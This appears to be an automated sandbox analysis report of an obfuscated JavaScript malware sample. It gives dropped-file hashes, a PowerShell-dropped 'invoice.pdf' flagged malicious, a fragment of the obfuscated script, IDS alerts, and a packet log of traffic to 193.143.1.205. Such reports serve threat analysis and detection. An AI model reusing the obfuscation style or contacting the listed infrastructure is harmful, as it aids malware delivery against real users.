
C:\Users\user\AppData\Local\Temp\acrocef_low\0dd957d1-ced1-4561-b61c-4bee739b2472.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\34eea256-1a70-49d3-bb89-ab47d20816c9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\8b630ba7-15a3-4e13-96ad-587794d60885.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6DaWL07oXGZGwYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:caWLxXGZGwZGh3mlind9i4ufFXpAXkru
MD5:	7867DAFF192926A49EB7516D226D452F
SHA1:	BD0B185B12DB865CEA23060A9789C6B2D814B62E
SHA-256:	C7586BA81615BBAA63DA0D81CE18C0D087D1237500C99C35239A4D3CAEED2934
SHA-512:	B556042E82056983EA6A69AEE0DAB370641437EF6239FD04676FC26EC9472C6E5EF6194885C165E3987E8019321DCD9B4A574EA7A6253AC3C9468434AEAA0C21
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\fdd34d2b-fae7-4203-852c-4b2dc53b1793.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/n5ZwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:xZwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	E78E4D1CA18BE28748F65C3A192DAFB2
SHA1:	78AD6025CB470EFB9ECA8FF1ED41F617372D1F9F
SHA-256:	F4B25F5C5BE48E151080D9CC24C8A4662CBB591A6B32037DB8D7ADE1828D8849
SHA-512:	E170C9BD3B6BB575244FCD380334D763C30352586F60824A67868EAE8E895BE0601D51670FCC304724BDF321CE8EF64881E606C9CF4C18C5817DFB5A679E44D6
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17313), with CRLF line terminators
Entropy (8bit):	4.916780152056603
TrID:
File name:	2153616741885716229.js
File size:	20'920 bytes
MD5:	c426c3c7b9c4b3a532615f13129a174a
SHA1:	f888b6a96c301bbdbf1c5b74ae720fcb0d9f4e00
SHA256:	7d1b6797610989b56da9702b62b3a5688d37c931707d931f13558c9eddbfd646
SHA512:	12da953d217d1f25d89245aba39de314df78aacb84103ab0f41dadcd9213c5acf247675ed13ced5866b55c929a31ac1b89da4d0893a91ed1680d1923db405090
SSDEEP:	384:ekZ/JfCkFfYgqxuakxLusq9YI8IfA3T0aNXOvB2935N0Vs8VPXivBtn09jx68:gu5tCxV
TLSH:	5C928681DD03EFD696CC25F6D9FE28F9457910C9C61C940C58421949BAB33BABBF08B9
File Content Preview:	function tdcxrqwy(){oeoyvgrb=[1031,3079,5127,4103,2055,3072];var qeshi=this[kxmdklyt+uotxr+yzzzmc+mryyjhwi+adqtpzal+hlbhvts+ctzkrhaa+erfvutacq](this[zexvny+eypklythq+qqujjg+yzzzmc+whuexemo+kxmdklyt+erfvutacq][klghesda+yzzzmc+adqtpzal+uotxr+erfvutacq+adqtp

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T18:26:36.393829+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-10T18:26:38.706740+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:26:35.600414038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:35.605396032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:35.605499983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:35.608609915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:35.613445044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.393719912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.393748999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.393773079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.393785000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.393798113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.393809080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.393820047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.393829107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.393834114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.393848896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.393863916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.393881083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.393923998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.398638010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.436208010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.436218977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.436253071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.488023996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.524425030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.524446011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.524458885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.524472952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.524491072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.524492025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.524523973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.524796009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.524832010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.524838924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.524851084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.524884939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.524893045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.524905920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.524938107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.525692940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.525703907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.525718927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.525736094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.525738001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.525751114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.525769949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.526581049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.526598930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.526612043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.526622057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.526627064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.526643991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.526653051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.526676893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.575577021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.575596094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.575609922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.575649023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.610765934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.610780001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.610831022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.651763916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.651783943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.651798964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.651843071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.651873112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.651941061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.651989937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.652004004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.652025938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.652029037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.652038097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.652051926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.652062893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.652085066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.652116060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.652673006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.652721882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.652738094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.652750969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.652764082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.652781963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.652802944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.652815104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.652829885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.652842045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.652874947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.653543949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.653557062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.653578997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.653592110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.653605938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.653616905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.653620958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.653646946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.653666973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.654221058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.654233932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.654247046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.654268980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.654273033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.654282093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.654297113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.654310942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.654314041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.654334068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.655092955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.655106068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.655119896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.655133963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.655155897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.655158997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.655169964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.655183077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.655199051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.655234098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.655265093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.655958891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.655971050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.655983925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.656012058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.662179947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.662203074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.662218094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.662231922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.662246943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.662254095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.662286043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.662309885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.703172922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.703201056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.703212976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.703226089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.703255892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.703300953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.738395929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.738413095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.738490105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.780600071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.780651093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.780710936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.780765057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.780786991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.780802011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.780839920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.780899048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.780899048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.780989885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.781030893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.781076908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.781091928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.781184912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.781239033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.781239986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.781277895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.781312943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.781338930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.781347990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.781383038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.781404972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.782038927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.782094002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.782099962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.782133102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.782166004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.782202959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.782211065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.782237053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.782253981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.782740116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.782773018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.782804012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.782812119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.782867908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.782876015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.782943964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.782979965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.782994986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.783015013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.783051014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.783083916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.783090115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:26:36.783152103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:26:36.783689976 CET	80	49730	193.143.1.205	192.168.2.4
